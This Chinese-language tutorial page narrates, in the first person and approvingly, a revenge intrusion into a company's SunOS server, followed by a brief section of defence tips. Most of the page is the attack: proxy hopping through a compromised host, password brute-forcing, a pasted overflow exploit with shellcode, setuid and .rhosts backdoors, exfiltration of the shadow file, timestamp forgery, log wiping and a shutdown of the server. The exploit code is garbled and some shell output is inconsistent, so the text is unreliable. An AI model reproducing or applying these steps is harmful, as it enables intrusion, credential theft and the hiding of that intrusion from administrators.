歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
您现在的位置: Linux教程網 >> UnixLinux >  >> Unix知識 >> Unix教程

Unix 系統的攻擊和防范

§.前言

   這篇文章主要針對一些對網絡安全感興趣、同時又還不怎麼熟悉Unix入侵和防范的朋友們而寫的一篇文章。本文循序漸進地介紹了黑客攻擊Unix主機的主要方法和系統管理員如何針對這些方法進行有效的防御等。
   §.Unix的特點

   Unix能流行起來絕對不是偶然的,這跟Unix本身的特點之突出是分不開的特點,那就是:1、極強的可移植性;2、啟動異步進程的能力;3、一致的文件、設備和進程間I/O;5、層次化的文件系統;6、可用其它Shell來替代默認Shell的能力; 7、真正的多用戶和多任務。

   列位注意,通常的Unix系統用戶有兩種:根用戶和普通用戶。

   1.root——根用戶

   這是SuperUser(超級用戶)的帳號,可以用這個帳號對本系統進行所有操作!獲得對系統的根訪問權限,也是黑客們拼命追求的終極目標。

   2.普通用戶

   給User(普通用戶)使用,具體權限由root分配的賬戶。可以有多個等級。黑客們多由此類賬戶開始試圖進入系統,如下例就是如此。

   §.攻擊Unix系統的范例

   先補了一些關於Unix的知識,下面我們要開始小試牛刀了。我們的攻擊平台是一台安裝了Redhat 6.0(內核版本2.2.5-15)的工作站(當然Win9x/Win2000上也可以試試啰!)。

   聲明:本文中的目標主機的IP分別是202.202.0.8、202.103.10.110和211.50.33.117,以上IP純屬本人杜撰。如該IP所屬主機確實存在,則純屬巧合。

   開始啦!

   “又死機了!這是什麼爛東西?可惡!”我憤怒地猛擊鍵盤“還號稱全智能化軟件……給您‘身臨其境的美妙體驗'……,完全是放P!”我怒吼著。才買幾天的英語學習軟件就頻頻死機,而且花去了不菲的xxx大元人民幣,使我有一種徹底受騙的感覺。“你這個騙子,我非要給你點厲害看看,看你還到處騙人!”我一邊憤憤地叫著,一邊抄下了包裝盒上那個“騙子”軟件公司的網址:www.shitsoft.com.cn 。當夜無話。

   第二天。忙了一早上,直到中午吃完中餐後才閒下來,眾人皆昏昏然欲見周公,我則坐到我的紅帽子旁,開始了正義的懲罰……

   首先找一台Proxy,這樣就不會被反查法給抓到了。^_^ 不知原來那台韓國的“公雞”還在不在?試一試:

bash# telnet 211.50.33.117
Red Hat Linux release 6.2 (Goozer)
Kernel 2.2.14-5.0 on an i686
login:crossbow
password:
bash$

   Ok! 還可以用,這麼長時間沒有理它,竟然還可以用!韓國的管理員真是太“好”了!^_^ 接著ping一下我們的目標,看看它長得啥模樣:

bash$ pwd
/home/crossbow
bash$ ping www.shitsoft.com.cn
Pinging www.shitsoft.com.cn [202.202.0.8] with 32 bytes of data:

Reply from 202.202.0.8: bytes=32 time<10ms TTL=245
Reply from 202.202.0.8: bytes=32 time<10ms TTL=245
Reply from 202.202.0.8: bytes=32 time<10ms TTL=245
Reply from 202.202.0.8: bytes=32 time<10ms TTL=245

Ping statistics for 202.202.0.8:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms


   速度不慢,看IP是中國教育網的機器,從TTL看估計是一台Unix。驗證一下:
bash$ telnet 202.202.0.8
SunOS 5.6
login:

   呵呵,是一台SunOS 5.6的爛機器。先猜猜看:

login:adm
password:
Login incorrect

login:oracle
password:
Login incorrect

login:ftp
password:
Login incorrect

^C

   可惡!今天火氣真差!一個沒猜到。:-( 用messala掃描一下看有沒有CGI漏洞:(略去復雜的掃描過程)………… 結果是滴水不漏!:-( 這個鳥管理員還挺勤快的…… 只好用nss看看它開了什麼服務吧!…………還好,telnet、ftp和finger的端口都打開了!^_^ 先看看有沒有匿名ftp賬戶:

bash$ ftp 202.202.0.8
Connected to 202.202.0.8...
220 Cool FTP server(Version xxx Tue Dec 8 12:42:10 CDT 2001) ready.
Name(202.202.0.8:FakeName):anonymous
331 Guest login ok,send you complete e-mail address as password.
Password:
230:Welcome,archive user!
…………
…………
…………
ftp>

   還行,匿名ftp服務沒有關,竟然可以用anonymous賬戶進來了!趕緊抓他的passwd:

ftp>ls
…………
bin boot etc dev home lib usr proc lost found root sbin src tmp usr var
…………
ftp>cd /etc
…………
ftp>ls *passwd*
…………
passwd passwd-
…………

   不會如此簡單吧?看一看?:

ftp>cat passwd|more
…………
root:x:0:1:Super-User:/:/sbin/sh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
telnet:x:71:8:Line Printer Admin:/usr/spool/lp:
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
ftp:60001:60001:Ftp:/:
noaccess:x:60002:60002:No Access User:/:
nobody:x:65534:65534:SunOS 4.x Nobody:/:
dennis:x:1005:20::/export/home/dennis:/bin/sh
walter:x:1001:100::/export/home/walter:/bin/sh
power:x:9589:101::/export/home/power:/bin/sh
deal:x:1035:20::/export/home/deal:/bin/sh
jessica:x:3000:300:Agent Client 1:/export/home/jessica:/bin/sh
smith:x:3001:300:Agent Client 2:/export/home/smith:/bin/sh
render:x:9591:101::/export/home/render:/bin/sh

…………

   倒霉,是個空的passwd!看看備份:

ftp>cat passwd-|more
…………
root:x:0:1:Super-User:/:/sbin/sh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
telnet:x:71:8:Line Printer Admin:/usr/spool/lp:
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
ftp:60001:60001:Ftp:/:
noaccess:x:60002:60002:No Access User:/:
nobody :x:65534:65534:SunOS 4.x Nobody:/:
dennis:x:1005:20::/export/home/dennis:/bin/sh
walter:x:1001:100::/export/home/walter:/bin/sh
power:x:9589:101::/export/home/power:/bin/sh
deal:x:1035:20::/export/home/deal:/bin/sh
jessica:x:3000:300:Agent Client 1:/export/home/jessica:/bin/sh
smith:x:3001:300:Agent Client 2:/export/home/smith:/bin/sh
render:x:9591:101::/export/home/render:/bin/sh

…………



   沒救了,一樣的!查查看有沒有shadow文件:
ftp>ls *shadow*
…………
shadow shadow-
…………

   哈哈,一般passwd是空的,那麼密碼就在shadow中!

ftp>cat shadow|more
…………
[sh$ cat shadow|more]: Permission denied
…………

   可惡,看都不讓看,試試備份文件:

ftp>cat shadow-|more
…………
[sh$ cat shadow-|more]: Permission denied
…………

   都一樣——不讓看!Faint! 只好可憐惜惜地把空passwd抓回來——有幾個用戶名總比沒有強吧?

ftp>get passwd
226 Transfer complete.
540 bytes received in 0.55 seconds (1.8Kbytes/s)
ftp>bye
221 Goodbye.
bash$

   研究一下,除去root和被關掉的賬號,還有七個可用賬號:dennis、walter、power、deal、jessica、smith和render,他們就是我們進入該主機最後的希望。^_^ finger上場!

bash$ finger @202.202.0.8
[202.202.0.8 ]
Login  Name      TTY Idle When Where
daemon  ???               < . . . . >
bin    ???               < . . . . >
sys    ???               < . . . . >
walter  Walter Wan   pts/0      202.202.0.114
dennis  Dennis Lee   437       888wnet.net
power   Power Xiong   0       202.202.0.10
deal   H Wang     pts/2      202.202.0.11
admin   ???              < . . . . >
jessica Jessica Xiao  pts/0      202.202.0.9
smith  Smith Liu    pts/0      202.202.0.13
render  Render     pts/0      202.103.10.117
ftp    ???              < . . . . >

   好!我需要的Name出來了,趕快保存:

bash$ finger @202.202.0.8 >> /home/crossbow/name.lst
bash$ more /home/crossbow/name.lst
[202.202.0.8 ]
Login   Name    TTY  Idle When Where
daemon   ???              < . . . . >
bin    ???              < . . . . >
sys    ???              < . . . . >
walter  Walter Wan  pts/0        202.202.0.114
dennis  Dennis Lee   437        888wnet.net
power  Power Xiong  0         202.202.0.10
deal   H Wang    pts/2       202.202.0.11
admin   ???     pts/0       < . . . . >
jessica  Jessica Xiao   pts/0       202.202.0.9
smith   Smith Liu    pts/0       202.202.0.13
render  Render Chen   0        202.103.10.117
ftp    ???              < . . . . >


   由於很多人都用自己的姓名及變體作密碼,我們就用他們的用戶名、姓、和數字的各種組合試一試,成功率應該不低。這裡我用一個我自己用C寫的程序——got!來跑吧。got!它自己會用用戶的姓、名和0-9數字的各種組合來嘗試模擬telnet登陸,省時省力。^_^ 不過這種暴力破解法會在目標機的日志上留下痕跡。:-( 因此後面進去後一定記得把日志“加工”一下。它的用法是:got! -n 用戶的姓 目標機器 用戶名,你也可以用-f來指定字典文件暴力窮舉。
bash$ got! -n wan 202.202.0.8 walter
Attempting...

   N分鐘以後…………

Failed!
bash$

   見鬼!失敗了一個,再試下一個:

bash$ got! -n lee 202.202.0.8 dennis
Attempting...
Failed!
bash$

   再次失敗,已經浪費了不少時間了!:-(“失敗是成功之母”,不要灰心,接著來:

bash$ got! -n xiong 202.202.0.8 Power
Attempting...
Bingo!!!
The password of user 'power' is 'xiong99'! Good luck!
bash$

   哈哈,得手了!終於搞到一個賬戶了——用戶名:power;密碼:xiong99。趕快用telnet吧!

bash$ telnet 202.202.0.8
SunOS 5.6
login:power
password:
Last login: Sun Dec 2 13:21:55 CDT 2001 from
202.202.0.10
Sun Microsystems Inc. SunOS 5.6
You have mail.

   進來了!這個用戶不久前還登陸過嘛!不過千萬不要看mail,先看看現在有幾個人:

$ w
13:07pm up 61 day(s), 3 users, …………
User tty login@ idle JCPU PCPU what

root pts/0 11:49am tail -f syslog
smith pts/5 12:13pmls -l *.c
power pts/7 13:07pm w

   乖乖,管理員正在檢查日志!可得小心點!看看這台Sun的版本細節:

$ uname -a
SunOS dev01 5.6 Generic_105181-19 sun4u sparc SUNW,Ultra-5_10

   在看看這個用戶的環境設置:

$ set
HOME=/export/home/power
HZ=100
IFS=
LOGNAME=power
MAIL=/var/mail/power
MAILCHECK=600
OPTIND=1
PATH=/usr/bin:
PS1=$
PS2=>
SHELL=/bin/sh
TERM=ansi
TZ=China

   再看看有沒有gcc,沒有這玩藝,那就……@#$%^&*!

$ gcc
gcc: No input files.

   不錯,編譯器還“健在”,沒被刪掉。現在,我們就開始溢出吧!^_^
$ cd
$ pwd
$ /export/home/power
$ mkdir ...
$ cd ...
$ vi ./.of.c

file://Here is the C source code for overflow in SunOS.
#include
#include
#include
#include
#include

#define NOPNUM 4000
#define ADRNUM 1200
#define ALLIGN 3

char shellcode[]=
"\x20\xbf\xff\xff" /* bn,a */
"\x20\xbf\xff\xff" /* bn,a */
"\x7f\xff\xff\xff" /* call */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0 8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0 16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0 20] */
"\x82\x10\x20\x0b" /* mov 0xb,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh";

char jump[]=
"\x81\xc3\xe0\x08" /* jmp %o7 8 */
"\x90\x10\x00\x0e"; /* mov %sp,%o0 */

static char nop[]="\x80\x1c\x40\x11";
main(int argc,char **argv)
{
char buffer[10000],adr[4],*b,*envp[2];
int i;
printf("copyright LAST STAGE OF DELIRIUM dec 1999 poland file://lsd-pl.net/\n");
printf("/usr/lib/lp/bin/netpr solaris 2.7 sparc\n\n");
if(argc==1)
{
printf("usage: %s lpserver\n",argv[0]);
exit(-1);
}
*((unsigned long*)adr)=(*(unsigned long(*)())jump)() 7124 2000;
envp[0]=&buffer[0];
envp[1]=0;
b=&buffer[0];
sprintf(b,"xxx=");
b =4;
for(i=0;i<1 4-((strlen(argv[1])%4));i ) *b =0xff;
for(i=0;i<1 4-((strlen(argv[1])%4));i ) *b=0;
b=&buffer[5000];
for(i=0;i<1 4-((strlen(argv[1])%4));i ) *b=0;
execle("/usr/lib/lp/bin/netpr","lsd","-I","bzz-z","-U","x!x","-d",argv[1],
"-p",&buffer[5000],"/bin/sh",0,envp);
}

   上面我們建立一個隱藏目錄“...”,再建立一個隱藏的源代碼文件“.of.c”。接著輸入一大串代碼,最後按:wq保存並退出vi。我們看看源代碼是否生成了:

$ ls -al

total 1330
drw-rw-rw- 7 power user 1999 Jul 4 19:07 .
drw-r--r-- 35 root root 1999 Jun 29 16:52 ..
-rw-rw-r-- 1 power user 2001 Dec 8 13:15 .of.c

   Ok! 現在編譯鏈接吧!^_^

$ gcc -o .of .of.c
.of.c:17: malformed floating constant
.of.c:18: malformed floating constant
.of.c:23: nondigits in number and not hexadecimal
…………
…………
gcc:[$ Error 2 $]
$


   ???怎麼出錯了?!估計是有地方敲錯了。只好先用gdb調試,再用vi來修改了,真麻煩!(略去調試過程)…………終於改完了,編譯試一試:
$ gcc -o .of .of.c
$

   幸好沒出錯。Run一下啰…………別慌!看看root還在不在:

$ w
13:31pm up 61 day(s), 1 user, …………
User tty login@ idle JCPU PCPU what

power pts/7 13:07pm w

   就我一個人了?估計忙了一早上,他們肯定餓壞了,都去吃飯去了吧!^_^

$ ./.of
usage: ./.of lpserver
$ ./of localhost
#

   哈哈!成功了!看見提示符變成“#”沒有?這就是root的特權標志!

# whoami
root
#

   沒錯了!哈哈!開始我們的“工作”吧:^_^

# rm -fr ./.of.c
# mkdir /usr/man/man1/...
# cp /bin/ksh /usr/man/man1/.../.zsh
# chmod s /usr/man/man1/.../.zsh

   首先刪掉了源代碼文件,然後在/usr/man/man1/下建立一個隱藏目錄“...”,把ksh這個shell拷過去隱藏起來,並把屬性改成-rwsr-sr--。這是個簡單的後門,下次我一進來執行它就可以root了,省時省力。^_^

# cd ..
# cd ..
# pwd
/export/home
# ls
dennis walter power deal jessica smith render
# cd render
# echo ' ' >./.rhosts
# ls -l
………… .rhosts …………
#

   好,又在render的home裡建了一個可以遠程登陸的後門。下面把這台主機的shadow傳回去,以後可以用John多跑一些密碼出來:^_^

# cp /etc/shadow /export/home/power/.../.s
# chmod 666 /export/home/power/.../.s
# exit
$ exit
bash$
bash$ ftp 202.202.0.8
Connected to 202.202.0.8...
220 Cool FTP server(Version xxx Tue Dec 8 12:42:10 CDT 2001) ready.
Name(202.202.0.8:FakeName):power
331 Guest login ok,send you complete e-mail address as password.
Password:
230:Welcome,power!
…………
…………
…………
ftp>ls
ftp>cd ...
ftp>ls -l
…………
.zsh .s
…………
ftp>get .s
226 Transfer complete.
540 bytes received in 0.55 seconds (1.8Kbytes/s)
ftp>bye
221 Goodbye.
bash$

   順利地get回來了。再次登陸之:

bash$ telnet 202.202.0.8
SunOS 5.6
login:power
password:
Last login: Mon Dec 8 13:21:15 CDT 2001 from 211.50.33.117
Sun Microsystems Inc. SunOS 5.6
$ /usr/man/man1/.../.zsh
# whoami
root
#

   利用剛才作的後門,輕松得到root。別忘了用touch給每個你動過的文件改時間,以免被管理員發現文件被動過!BTW:touch的用法是:touch -t 200112081314 目標文件。然後我們用power的身份telnet一下自己,免得被power下次登陸一下就發現IP有問題:
# telnet localhost
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
SunOS 5.6
login: power
Password:
Last login: Mon Dec 8 13:21:55 CDT 2001 from 202.202.0.8
Sun Microsystems Inc. SunOS 5.6 Generic August 1997
You have mail.
$ exit
Connection closed by foreign host.
#

   下面我們要“擦腳印”了,一般需要我們擦的日志有如下幾個: lastlog、utmp(utmpx)、wtmp(wtmpx)、messages、syslog和sulog。你可以用vi手動刪除,不過我“好心”告訴你,手動一條條地刪太麻煩,這裡我們使用一個perl寫的腳本cleaner.sh,它可以幫我們把PP擦得干干淨淨 ^_^(這裡略去如何將cleaner.sh用ftp傳上來,並隱藏起來的步驟):

chmod x ./cleaner.sh
#./cleaner.sh power
Log cleaner v0.5b By: Tragedy/Dor OS
detection....
Detected SunOS
Log cleaning in process....
* Cleaning aculog ( 0 lines)...0 lines removed!
* Cleaning lastlog ( 19789 lines)...45 lines removed!
* Cleaning messages ( 12 lines)...1 lines removed!
* Cleaning messages.0 ( 12 lines)...0 lines removed!
* Cleaning messages.1 ( 28 lines)...0 lines removed!
* Cleaning messages.2 ( 38 lines)...0 lines removed!
* Cleaning messages.3 ( 17 lines)...0 lines removed!
* Cleaning spellhist ( 0 lines)...0 lines removed!
* Cleaning sulog ( 986 lines)...6 lines removed!
* Cleaning utmp ( 179 lines)...1 lines removed!
* Cleaning utmpx ( 387 lines)...1 lines removed!
* Cleaning vold.log ( 0 lines)...0 lines removed!
* Cleaning wtmp ( 299 lines)...0 lines removed!
* Cleaning wtmpx ( 565 lines)...0 lines removed!
* Cleaning authlog ( 0 lines)...0 lines removed!
* Cleaning syslog ( 53 lines)...0 lines removed!
* Cleaning syslog.0 ( 14 lines)...0 lines removed!
* Cleaning syslog.1 ( 64 lines)...0 lines removed!
* Cleaning syslog.2 ( 39 lines)...0 lines removed!
* Cleaning syslog.3 ( 5 lines)...0 lines removed!
* Cleaning syslog.4 ( 3 lines)...0 lines removed!
* Cleaning syslog.5 ( 210 lines)...0 lines removed!
# ./cleaner.sh root
…………

   擦干淨後再如法對root賬戶炮制一遍。最後……看了一下手表,哇!13:53了,又要上工了,:-( 以後再來消遣你吧!^_^ 現在,我要上工,你就好好休息啰!嘿嘿!

# /sbin/shutdown now
…………

   關機啦!Wow!

   §.討論及防范措施

   好了!我們從上面的例子可以看出,黑客的攻擊步驟是如下六個步驟:

   1.收集資料
   2.取得普通用戶的權限
   3.遠程登陸
   4.取得超級用戶的權限
   5.留下後門
   6.清除日志



   其中最重要,也是最容易被管理員忽視的是第二個步驟。如果能夠得到一個那怕是權限再小的賬戶,黑客也可以利用各種五花八門的漏洞來提升他的權限,並最終獲得root。許多人認為只要對root賬戶加以注意就足夠了,其實不然,如果黑客很容易地進入了主機,那他就會跳過root口令這一攻擊難點,直接利用緩沖區溢出來root(如上面的例子就是這樣)。因此,大家一定要注意對普通賬戶密碼強度的測試和檢查,並強令用戶定期更改。

   定期遍歷磁盤檢查.rhosts文件,這個後門十分危險,它可以直接不用口令而遠程登陸。況且現在有不少的工具可以自動掃描這個漏洞,一旦發現一個,黑客們就會像蒼蠅聞到血味一樣蜂擁而至。如果他們像我一樣的“善良”,只玩個shutdown還好說;碰到個把“辣手”黑客來個rm -fr *,你的飯碗估計就會丟了!

   定期檢查屬性為-rwsr-sr--的文件。這種文件只要一被user執行,他馬上就會具有和該文件創造者一樣的權限。如果創造者是root的話,結果可想而之。一般黑客們都將shell改成此類屬性然後藏起來,便於下次利用。

   不要過分相信日志,因為它很可能是被入侵者加過“工”的。注意留心某些啟動時自動加載的文件的內容和時間,因為它們可能會被植入木馬。如:/etc/rc.d/init.d/network,就是在網絡服務啟動時自動加載的。

   使用MD5保護自己的二進制程序。MD5在發現/bin、/sbin等目錄下的文件被替換時會報警或用Email通知管理員,這可以有效地防止假login、假su的誘騙。

   使用getsniff和rootkit detector等工具查找系統中是否有嗅探器和rootkit黑客工具包,尤其是rootkit,這玩藝危害無窮。

   留心自己的CGI是否有漏洞,現在針對CGI漏洞的掃描工具特別多:如Unix/Linux平台下的messala和hunt等;Win9x/Win2000平台下的Twwwsacn和流光等等。尤其是流光,不論高手還是菜鳥都喜歡用它,真是一副老少皆宜的奇怪景觀。^_^

   如果不需要ftp服務,最好關掉它,開著只會後患無窮。黑客可以先將rootkit、特制的su,已修改過屬性的shell放在他自己的ftp服務器上,得到普通賬戶後直接上傳到你的機器上並執行之,他就root了。簡單吧?
Copyright © Linux教程網 All Rights Reserved